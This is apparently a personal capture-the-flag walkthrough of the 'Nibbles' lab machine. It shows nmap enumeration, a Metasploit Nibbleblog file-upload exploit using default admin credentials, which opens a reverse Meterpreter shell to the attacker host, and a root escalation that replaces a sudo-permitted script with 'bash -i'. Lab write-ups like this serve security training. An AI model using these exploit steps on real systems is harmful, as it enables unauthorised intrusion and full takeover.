# Enumeration
## NMAP
The nmap scan reveals 2 open ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

## Let's see what's the WebApp like.
We're greeted by a ***Hello World!*** message. ![[Pasted image 20210409152510.png]]

The source code of the page reveals a directory:![[Pasted image 20210409152620.png]]

## Dirbuster
Using dirbuster, I have found files within /nibbleblog/content/private/config.xml directory and was able to enumerate possible users:![[Pasted image 20210409152955.png]]

I also found a feed.php file which let me into researching if it was a possible attack vector. The research led me into finding this interesting article about feed.php and XSS.[feed injection in web](https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/EN-Feed%20Injection%20In%20Web%202.0.pdf)

Anyway.. while it was interesting find, I did not see how it would apply here. So i continued looking.

## Searchsploit
I was going nowhere until i simply typed: 

searchsploit nibble
---------------------------------------------------------------------------------------------------------------------
Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections                                             | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                              | php/remote/38489.rb
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Ahh, it looks we have hit. Let's try metasploit:
 

msf6 > search nibble

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  Yes    Nibbleblog File Upload Vulnerability


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload

I have used the previously enumerated username:password == admin:nibbles:
 

msf6 exploit(multi/http/nibbleblog_file_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Sending stage (39282 bytes) to 10.10.10.75
[+] Deleted image.php
[*] Meterpreter session 2 opened (10.10.14.6:4444 -> 10.10.10.75:32812) at 2021-04-09 08:00:26 -0400

In the following lines I am interacting with the shell. Finally I have discovered interesting file that is with 777 rights. 
 

meterpreter > shell
Process 1587 created.
Channel 0 created.
whoami
nibbler
python3 -c 'import pty;pty.spawn("/bin/bash")' 
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler
<ml/nibbleblog/content/private/plugins/my_image$ cd /home/nibbler            
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip  user.txt
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh  
nibbler@Nibbles:/home/nibbler$ cd personal/stuff/
cd personal/stuff/
nibbler@Nibbles:/home/nibbler/personal/stuff$ file monitor.sh
file monitor.sh
monitor.sh: ASCII text
nibbler@Nibbles:/home/nibbler/personal/stuff$ ll
ll
ll: command not found
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
ls -la
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10  2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh

Catting the file revealed nothing interesting tho. After some time, I tried:

sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

AHA! This is our gate to escalating privileges. I have removed the unzipped file and instead uploaded a simple bash script:

nibbler@Nibbles:/home/nibbler/personal/stuff$ rm monitor.sh
rm monitor.sh

I could not use any editors on the machine, so i Had to create it locally and upload it to the victim.

meterpreter > upload monitor.sh
[*] uploading  : /home/kali/Desktop/monitor.sh -> monitor.sh
[*] Uploaded -1.00 B of 21.00 B (-4.76%): /home/kali/Desktop/monitor.sh -> monitor.sh
[*] uploaded   : /home/kali/Desktop/monitor.sh -> monitor.sh

I have moved the file to ***/home/nibbler/personal/stuff*** and execute the following commands to gain root:

cat monitor.sh
bash -i
chmod +x monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh 
bash: cannot set terminal process group (1360): Inappropriate ioctl for device
bash: no job control in this shell
root@Nibbles:/home/nibbler/personal/stuff# id
id
uid=0(root) gid=0(root) groups=0(root)